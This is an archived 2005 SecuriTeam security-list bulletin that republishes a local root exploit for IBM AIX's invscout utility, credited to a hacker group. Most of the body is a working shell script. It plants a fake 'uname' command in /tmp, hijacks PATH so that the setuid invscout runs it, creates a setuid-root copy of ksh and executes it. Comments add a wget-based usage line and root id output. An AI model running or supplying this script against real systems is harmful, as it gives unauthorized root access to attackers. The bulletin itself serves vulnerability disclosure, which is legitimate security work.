

[EXPL] IBM AIX invscout Local Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0160.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 05/31/05

To: list@securiteam.com

Date: 31 May 2005 17:23:11 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

IBM AIX invscout Local Exploit

SUMMARY

Provided here is an exploit for the

<<http://www.securiteam.com/unixfocus/6O00N0AC0A.html>> IBM AIX invscout Local Command Execution Vulnerability reported previously.

DETAILS

Exploit Code:

```
#!/usr/bin/sh
```

```
# bash script by LorD from IHS
```

```
# Private IHS IRAN HACKERS SABOTAGE Private
```

```
# Special tnx to : My very good friend Arezoo and NT and C0d3r
```

```
# AIX invscout execute command then u can run commnad as root and get
```

```
L0cal r00t access
```

```
# Tested on : AIX 4.X 5.1 5.2 5.3
```

```
# id
```

```
# uid=99(nobody) gid=207(nogroup) euid=0(root) egid=0(system)
```

```
groups=1(other),205(admstaff),206(faculty)
```

```
# uname -a
```

```
# AIX neo1 2 5 000F7AAF4C00
```

```
# Bug found at :
```

```
http://www.iddefense.com/application/poi/display?id=171
```

Securiteam: [EXPL] IBM AIX invscout Local Exploit

```
&type=vulnerabilities&flashstatus=true  
# www.ihsteam.com www.ihsecurity.com  
# IRC.IHSteam.com #IHS  
# usage cd /tmp;wget www.site.com/lord chmod +x inv ./lord  
# gives euid=0(root) and guid=0(system)
```

```
cd /tmp  
echo '/usr/bin/cp /usr/bin/ksh .' > uname  
echo '/usr/bin/chown root:system ./ksh' >> uname  
echo '/usr/bin/chmod 777 ./ksh' >> uname  
echo '/usr/bin/chmod +s ./ksh' >> uname  
/usr/bin/chmod 777 uname  
PATH=./  
export PATH  
/usr/sbin/invscout  
PATH="/usr/bin:/usr/sbin:/usr/local/bin:/bin:./"  
export PATH  
exec /tmp/ksh
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:lord@ihsteam.com>> lord.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.